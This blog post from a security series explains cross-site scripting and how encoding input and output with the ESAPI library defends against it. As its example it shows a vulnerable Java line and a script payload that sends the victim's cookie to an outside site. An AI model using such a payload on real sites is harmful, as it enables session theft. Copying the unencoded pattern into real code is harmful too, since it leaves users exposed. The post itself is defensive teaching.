Cross-site Scripting (XSS) - Focus on validation for web applications
Feb 20, 2015 Vivek Sharma
As a part of this security series, I had posted previously about SQL injection, and how this simple concept can manifest itself into a major security concern. This blog post will focus on validation of input and output in a web application.
Validation of Output?
Yes.
In web-application it has been noticed that we validate the input most of the time. This validation is done against the parameters in configuration files and the database entries, which represents valid values. Here, we miss to encode the input values that we pass as untrusted values. Any value supplied by the user is treated as an untrusted value by the application. The same un-encoded input values can be used as an output by an application. If exploited, these un-encoded inputs/outputs can expose system weakness to the attacker resulting in an attack. The attacker exploits the browser’s capability of interpreting DOM.
Site owners are always confident, but so are the hackers! XSS is the most prevalent of all attacks.
Let’s have a look at a XSS case.
Security Business Case
Consider a jpgage with the following valid script.
“<input name=’ssn’ type=’TEXT’ value='” + request.getParameter(“ssn”) + “‘>”;
The attacker modifies the ssn parameter with the below script.
<script>document.location= ‘http://www.mysite.com?cookie=’+document.cookie</script>’
This causes the victims cookie to be sent to hacker’s website, which he can use to exploit the victim.
Possible Threats
Some of the possible threats are
- Identity Theft
- Access to restricted information
- Spying on user’s website habits
- Web application defacement
- Altering browser’s functionality
Safety Measures
- The primary shield to an XSS attack is Encoding.
Encode all the inputs before letting them in application, and decode the encoded outputs to the user. There are large number of different contexts in HTML, we need to provide encoding for all of them. It is recommended to use ESAPI libraries for encoding HTML contexts.
The ESAPI library provides an Encoder interface that provides number of methods for encoding input/decoding output. It provides escaping for CSS, HTML entities, JavaScript, MySQL, Oracle, Url Encoding, UNIX, VBScript, and Windows. It even provides method (canonicalize) to check double-encoding.
Some samples of XSS encoding type.
Encoding to be done for html body.
<body>…ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE…</body>
<div>…ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE…</div>
Use encodefor HTML to escape untrusted data in html body.
String safe = ESAPI.encoder().encodeForHTML( request.getParameter( “input” ) );
Encoding to be done for html attributes.
<div attr=…ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE…>content</div>
<div attr=’…ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE…’>content</div>
Use encodeforHTMLAttribute to escape untrusted data in attributes.
String safe = ESAPI.encoder().encodeForHTMLAttribute( request.getParameter( “input” ) );
Similarly there is an api for javascript and css
- Developers should also maintain an input whitelist i.e. the application should know what kind of inputs it will receive. This is also a preventive step, but does not guarantee XSS prevention.
Tools to detect XSS
Developers can use free tools such as Firefox-XSS Me add-on, OWASP ZAP, and OpenVAS. Among these XSS-Me add-on is specifically for detecting XSS attacks. It can be used during the development phase also.
The other two tools support vulnerability detection for all kinds of attacks. These can be configured to test integrated application, before pushing to system test. These tools can also be used by Quality analysts to test vulnerabilities in System Test, UAT, and BAT or in any pre-production environment.
My next blog post on security would be on Insecure Direct Object References.
Vivek Sharma
Over 10 years of experience in technology and extremely interested in software security. Experienced in working with banks to safeguard against security threats. He spends his free time deep in stock market analysis.
